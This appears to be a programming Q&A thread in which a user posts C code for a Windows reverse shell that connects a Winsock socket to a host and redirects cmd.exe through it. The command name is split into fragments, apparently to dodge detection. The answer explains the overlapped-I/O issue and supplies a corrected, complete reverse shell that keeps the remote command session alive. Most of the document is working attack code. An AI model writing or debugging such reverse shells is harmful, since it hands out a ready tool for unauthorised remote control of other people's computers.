Reputation: 157
I'm experimenting with some reverse shell code in C. It is working but only if I use WSAConnect()
and WSASocket()
. If I use socket()
or connect()
instead, it's not working. Why is this?
I always use connect()
instead of WSAConnect()
, and socket()
instead of WSASocket()
. I know I am missing something.
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
WSADATA wsa;
SOCKET sock;
struct sockaddr_in server;
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
int main(int argc, char *argv[])
{
WSAStartup(MAKEWORD(2,2), &wsa);
// sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); This also doesn't work
sock = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
server.sin_family = AF_INET;
server.sin_port = htons(4942);
server.sin_addr.s_addr =inet_addr("127.0.0.1");
// connect(sock, (struct sockaddr*)&server, sizeof(server)); This doesn't work
WSAConnect(sock,(SOCKADDR*)&server, sizeof(server),NULL,NULL,NULL,NULL);
if (WSAGetLastError() == 0) {
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb=sizeof(sinfo);
sinfo.dwFlags=STARTF_USESTDHANDLES;
sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)sock;
char *myArray[4] = { "cm", "d.e", "x", "e" };
char command[8] = "";
snprintf( command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]);
CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
exit(0);
} else {
exit(0);
}
}
Upvotes: 2
Views: 2609
Reputation: 595732
There are some differences between socket()
and WSASocket()
. Most notably:
by default, socket()
creates a SOCKET
that supports Overlapped I/O, whereas WSASocket()
allows you to specify whether you want the SOCKET
to support Overlapped I/O or not. In other words, by default, socket()
is the same as calling WSASocket()
with the WSA_FLAG_OVERLAPPED
flag. But CreateProcess()
I/O redirection requires HANDLE
s that are non-Overlapped. Which is why your use of socket()
doesn't work.
WSASocket()
allows you to create a socket using a specific provider, whereas socket()
uses a default provider (usually Microsoft's). When using a SOCKET
directly for CreateProcess()
I/O redirection, you need to ensure the SOCKET
's provider actually supports that usage. To ensure that, you should use WSAEnumProtocols()
to enumerate the installed protocols until you find one that supports TCP and has the XP1_IFS_HANDLES
flag (Microsoft's provider does), and then you can have WSASocket()
use that specific provider via its lpProtocolInfo
parameter.
Every example I can find online for using a SOCKET
to directly redirect CreateProcess()
I/O uses WSASocket()
(but not always WSAEnumProtocols()
). I have not seen a single example using socket()
instead.
However, if you really want to use socket()
, you have 2 choices:
use setsockopt(SOL_SOCKET, SO_OPENTYPE)
to turn off creation of overlapped sockets by specifying the SO_SYNCHRONOUS_NONALERT
type. Microsoft discourages this option, preferring the use of WSASocket()
instead.
use CreatePipe()
instead for the actual I/O redirection, and then manually proxy data between the socket and pipe as needed, reading from the SOCKET
to write to the pipe, and reading from the pipe to write to the SOCKET
.
That said, your code is not performing error checking correctly. Also, were you actually able to connect to the server and launch cmd.exe
, you then exit from your app immediately, which closes the socket. You need to keep the socket open for the lifetime of the cmd.exe
process.
Try something more like this instead:
#include <winsock2.h>
#include <stdio.h>
#include <string.h>
#pragma comment(lib, "ws2_32.lib")
int main(int argc, char *argv[])
{
WSADATA wsa;
SOCKET sock;
struct sockaddr_in server;
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
int res = WSAStartup(MAKEWORD(2,2), &wsa);
if (res != 0)
{
fprintf(stderr, "Can't initialize Winsock. Error %d\n", res);
return 1;
}
// optional: use WSAEnumProtocols() to find a suitable WSAPROTOCOL_INFO
// to pass to the lpProtocolInfo parameter of WSASocket()...
sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if (sock == INVALID_SOCKET)
{
res = WSAGetLastError();
fprintf(stderr, "Can't create socket. Error %d\n", res);
WSACleanup();
return 1;
}
memset(&server, 0, sizeof(server));
server.sin_family = AF_INET;
server.sin_port = htons(4942);
server.sin_addr.s_addr = inet_addr("127.0.0.1");
res = WSAConnect(sock, (struct sockaddr*)&server, sizeof(server), NULL, NULL, NULL, NULL);
if (res == SOCKET_ERROR)
{
res = WSAGetLastError();
fprintf(stderr, "Can't connect. Error %d\n", res);
closesocket(sock);
WSACleanup();
return 1;
}
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = STARTF_USESTDHANDLES;
sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)sock;
char *myArray[4] = { "cm", "d.e", "x", "e" };
char command[8] = "";
snprintf(command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]);
if (!CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo))
{
res = GetLastError();
fprintf(stderr, "Can't create process. Error %d\n", res);
closesocket(sock);
WSACleanup();
return 1;
}
CloseHandle(pinfo.hThread);
WaitForSingleObject(pinfo.hProcess, INFINITE);
CloseHandle(pinfo.hProcess);
closesocket(sock);
WSACleanup();
return 0;
}
Upvotes: 4